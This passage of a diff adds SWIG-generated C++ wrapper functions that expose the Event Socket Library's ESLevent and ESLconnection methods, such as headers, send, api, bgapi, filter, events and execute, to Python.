+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_delHeader(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *arg2 = (char *) 0 ;
+  bool result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLevent_delHeader",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_delHeader" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLevent_delHeader" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (bool)(arg1)->delHeader((char const *)arg2);
+  resultobj = SWIG_From_bool(static_cast< bool >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_firstHeader(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLevent_firstHeader",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_firstHeader" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (char *)(arg1)->firstHeader();
+  resultobj = SWIG_FromCharPtr((const char *)result);
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLevent_nextHeader(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLevent *arg1 = (ESLevent *) 0 ;
+  char *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLevent_nextHeader",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLevent_nextHeader" "', argument " "1"" of type '" "ESLevent *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLevent * >(argp1);
+  result = (char *)(arg1)->nextHeader();
+  resultobj = SWIG_FromCharPtr((const char *)result);
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *ESLevent_swigregister(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *obj;
+  if (!PyArg_ParseTuple(args,(char*)"O:swigregister", &obj)) return NULL;
+  SWIG_TypeNewClientData(SWIGTYPE_p_ESLevent, SWIG_NewClientData(obj));
+  return SWIG_Py_Void();
+}
+
+SWIGINTERN PyObject *_wrap_new_ESLconnection__SWIG_0(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  char *arg1 = (char *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  ESLconnection *result = 0 ;
+  int res1 ;
+  char *buf1 = 0 ;
+  int alloc1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  PyObject * obj2 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OOO:new_ESLconnection",&obj0,&obj1,&obj2)) SWIG_fail;
+  res1 = SWIG_AsCharPtrAndSize(obj0, &buf1, NULL, &alloc1);
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_ESLconnection" "', argument " "1"" of type '" "char const *""'");
+  }
+  arg1 = reinterpret_cast< char * >(buf1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "new_ESLconnection" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  res3 = SWIG_AsCharPtrAndSize(obj2, &buf3, NULL, &alloc3);
+  if (!SWIG_IsOK(res3)) {
+    SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "new_ESLconnection" "', argument " "3"" of type '" "char const *""'");
+  }
+  arg3 = reinterpret_cast< char * >(buf3);
+  result = (ESLconnection *)new ESLconnection((char const *)arg1,(char const *)arg2,(char const *)arg3);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLconnection, SWIG_POINTER_NEW |  0 );
+  if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return resultobj;
+fail:
+  if (alloc1 == SWIG_NEWOBJ) delete[] buf1;
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_new_ESLconnection__SWIG_1(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  int arg1 ;
+  ESLconnection *result = 0 ;
+  int val1 ;
+  int ecode1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:new_ESLconnection",&obj0)) SWIG_fail;
+  ecode1 = SWIG_AsVal_int(obj0, &val1);
+  if (!SWIG_IsOK(ecode1)) {
+    SWIG_exception_fail(SWIG_ArgError(ecode1), "in method '" "new_ESLconnection" "', argument " "1"" of type '" "int""'");
+  } 
+  arg1 = static_cast< int >(val1);
+  result = (ESLconnection *)new ESLconnection(arg1);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLconnection, SWIG_POINTER_NEW |  0 );
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_new_ESLconnection(PyObject *self, PyObject *args) {
+  int argc;
+  PyObject *argv[4];
+  int ii;
+  
+  if (!PyTuple_Check(args)) SWIG_fail;
+  argc = (int)PyObject_Length(args);
+  for (ii = 0; (ii < argc) && (ii < 3); ii++) {
+    argv[ii] = PyTuple_GET_ITEM(args,ii);
+  }
+  if (argc == 1) {
+    int _v;
+    {
+      int res = SWIG_AsVal_int(argv[0], NULL);
+      _v = SWIG_CheckState(res);
+    }
+    if (_v) {
+      return _wrap_new_ESLconnection__SWIG_1(self, args);
+    }
+  }
+  if (argc == 3) {
+    int _v;
+    int res = SWIG_AsCharPtrAndSize(argv[0], 0, NULL, 0);
+    _v = SWIG_CheckState(res);
+    if (_v) {
+      int res = SWIG_AsCharPtrAndSize(argv[1], 0, NULL, 0);
+      _v = SWIG_CheckState(res);
+      if (_v) {
+        int res = SWIG_AsCharPtrAndSize(argv[2], 0, NULL, 0);
+        _v = SWIG_CheckState(res);
+        if (_v) {
+          return _wrap_new_ESLconnection__SWIG_0(self, args);
+        }
+      }
+    }
+  }
+  
+fail:
+  SWIG_SetErrorMsg(PyExc_NotImplementedError,"Wrong number of arguments for overloaded function 'new_ESLconnection'.\n"
+    "  Possible C/C++ prototypes are:\n"
+    "    ESLconnection(char const *,char const *,char const *)\n"
+    "    ESLconnection(int)\n");
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_delete_ESLconnection(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:delete_ESLconnection",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, SWIG_POINTER_DISOWN |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "delete_ESLconnection" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  delete arg1;
+  
+  resultobj = SWIG_Py_Void();
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_socketDescriptor(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLconnection_socketDescriptor",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_socketDescriptor" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  result = (int)(arg1)->socketDescriptor();
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_connected(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLconnection_connected",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_connected" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  result = (int)(arg1)->connected();
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_getInfo(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLconnection_getInfo",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_getInfo" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  result = (ESLevent *)(arg1)->getInfo();
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_send(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLconnection_send",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_send" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_send" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (int)(arg1)->send((char const *)arg2);
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_sendRecv(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLconnection_sendRecv",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_sendRecv" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_sendRecv" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  result = (ESLevent *)(arg1)->sendRecv((char const *)arg2);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_api(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  PyObject * obj2 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO|O:ESLconnection_api",&obj0,&obj1,&obj2)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_api" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_api" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  if (obj2) {
+    res3 = SWIG_AsCharPtrAndSize(obj2, &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_api" "', argument " "3"" of type '" "char const *""'");
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+  }
+  result = (ESLevent *)(arg1)->api((char const *)arg2,(char const *)arg3);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_bgapi(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  PyObject * obj2 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO|O:ESLconnection_bgapi",&obj0,&obj1,&obj2)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_bgapi" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_bgapi" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  if (obj2) {
+    res3 = SWIG_AsCharPtrAndSize(obj2, &buf3, NULL, &alloc3);
+    if (!SWIG_IsOK(res3)) {
+      SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_bgapi" "', argument " "3"" of type '" "char const *""'");
+    }
+    arg3 = reinterpret_cast< char * >(buf3);
+  }
+  result = (ESLevent *)(arg1)->bgapi((char const *)arg2,(char const *)arg3);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_sendEvent(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *arg2 = (ESLevent *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  void *argp2 = 0 ;
+  int res2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLconnection_sendEvent",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_sendEvent" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_ConvertPtr(obj1, &argp2,SWIGTYPE_p_ESLevent, 0 |  0 );
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_sendEvent" "', argument " "2"" of type '" "ESLevent *""'"); 
+  }
+  arg2 = reinterpret_cast< ESLevent * >(argp2);
+  result = (int)(arg1)->sendEvent(arg2);
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_recvEvent(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  PyObject * obj0 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"O:ESLconnection_recvEvent",&obj0)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_recvEvent" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  result = (ESLevent *)(arg1)->recvEvent();
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_recvEventTimed(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int arg2 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int val2 ;
+  int ecode2 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO:ESLconnection_recvEventTimed",&obj0,&obj1)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_recvEventTimed" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  ecode2 = SWIG_AsVal_int(obj1, &val2);
+  if (!SWIG_IsOK(ecode2)) {
+    SWIG_exception_fail(SWIG_ArgError(ecode2), "in method '" "ESLconnection_recvEventTimed" "', argument " "2"" of type '" "int""'");
+  } 
+  arg2 = static_cast< int >(val2);
+  result = (ESLevent *)(arg1)->recvEventTimed(arg2);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  return resultobj;
+fail:
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_filter(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  ESLevent *result = 0 ;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  PyObject * obj2 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OOO:ESLconnection_filter",&obj0,&obj1,&obj2)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_filter" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_filter" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  res3 = SWIG_AsCharPtrAndSize(obj2, &buf3, NULL, &alloc3);
+  if (!SWIG_IsOK(res3)) {
+    SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_filter" "', argument " "3"" of type '" "char const *""'");
+  }
+  arg3 = reinterpret_cast< char * >(buf3);
+  result = (ESLevent *)(arg1)->filter((char const *)arg2,(char const *)arg3);
+  resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_ESLevent, SWIG_POINTER_OWN |  0 );
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_events(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  PyObject * obj2 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OOO:ESLconnection_events",&obj0,&obj1,&obj2)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
+    SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "ESLconnection_events" "', argument " "1"" of type '" "ESLconnection *""'"); 
+  }
+  arg1 = reinterpret_cast< ESLconnection * >(argp1);
+  res2 = SWIG_AsCharPtrAndSize(obj1, &buf2, NULL, &alloc2);
+  if (!SWIG_IsOK(res2)) {
+    SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "ESLconnection_events" "', argument " "2"" of type '" "char const *""'");
+  }
+  arg2 = reinterpret_cast< char * >(buf2);
+  res3 = SWIG_AsCharPtrAndSize(obj2, &buf3, NULL, &alloc3);
+  if (!SWIG_IsOK(res3)) {
+    SWIG_exception_fail(SWIG_ArgError(res3), "in method '" "ESLconnection_events" "', argument " "3"" of type '" "char const *""'");
+  }
+  arg3 = reinterpret_cast< char * >(buf3);
+  result = (int)(arg1)->events((char const *)arg2,(char const *)arg3);
+  resultobj = SWIG_From_int(static_cast< int >(result));
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return resultobj;
+fail:
+  if (alloc2 == SWIG_NEWOBJ) delete[] buf2;
+  if (alloc3 == SWIG_NEWOBJ) delete[] buf3;
+  return NULL;
+}
+
+
+SWIGINTERN PyObject *_wrap_ESLconnection_execute(PyObject *SWIGUNUSEDPARM(self), PyObject *args) {
+  PyObject *resultobj = 0;
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  char *arg4 = (char *) NULL ;
+  int result;
+  void *argp1 = 0 ;
+  int res1 = 0 ;
+  int res2 ;
+  char *buf2 = 0 ;
+  int alloc2 = 0 ;
+  int res3 ;
+  char *buf3 = 0 ;
+  int alloc3 = 0 ;
+  int res4 ;
+  char *buf4 = 0 ;
+  int alloc4 = 0 ;
+  PyObject * obj0 = 0 ;
+  PyObject * obj1 = 0 ;
+  PyObject * obj2 = 0 ;
+  PyObject * obj3 = 0 ;
+  
+  if (!PyArg_ParseTuple(args,(char *)"OO|OO:ESLconnection_execute",&obj0,&obj1,&obj2,&obj3)) SWIG_fail;
+  res1 = SWIG_ConvertPtr(obj0, &argp1,SWIGTYPE_p_ESLconnection, 0 |  0 );
+  if (!SWIG_IsOK(res1)) {
